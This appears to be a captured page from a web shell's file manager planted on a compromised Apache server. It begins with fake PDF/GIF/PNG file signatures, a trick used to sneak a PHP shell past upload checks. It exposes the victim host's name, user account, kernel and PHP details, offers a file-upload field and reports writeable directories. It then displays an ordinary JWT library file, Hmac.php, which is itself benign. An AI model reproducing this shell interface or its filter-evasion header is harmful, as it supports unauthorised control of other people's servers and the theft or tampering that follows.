%PDF- %GIF98; %PNG; .
Cyber Programmer
Logo of a company Server : Apache
System : Linux host.digitalbabaji.in 4.18.0-513.11.1.el8_9.x86_64 #1 SMP Wed Jan 17 02:00:40 EST 2024 x86_64
User : addictionfreeind ( 1003)
PHP Version : 7.2.34
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/addictionfreeind/www/admin1/vendor/lcobucci/jwt/src/Signer/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/addictionfreeind/www/admin1/vendor/lcobucci/jwt/src/Signer/Hmac.php
<?php
declare(strict_types=1);

namespace Lcobucci\JWT\Signer;

use Lcobucci\JWT\Signer;

use function hash_equals;
use function hash_hmac;
use function strlen;

abstract class Hmac implements Signer
{
    final public function sign(string $payload, Key $key): string
    {
        $actualKeyLength   = 8 * strlen($key->contents());
        $expectedKeyLength = $this->minimumBitsLengthForKey();
        if ($actualKeyLength < $expectedKeyLength) {
            throw InvalidKeyProvided::tooShort($expectedKeyLength, $actualKeyLength);
        }

        return hash_hmac($this->algorithm(), $payload, $key->contents(), true);
    }

    final public function verify(string $expected, string $payload, Key $key): bool
    {
        return hash_equals($expected, $this->sign($payload, $key));
    }

    abstract public function algorithm(): string;

    /** @return positive-int */
    abstract public function minimumBitsLengthForKey(): int;
}

VaKeR 2022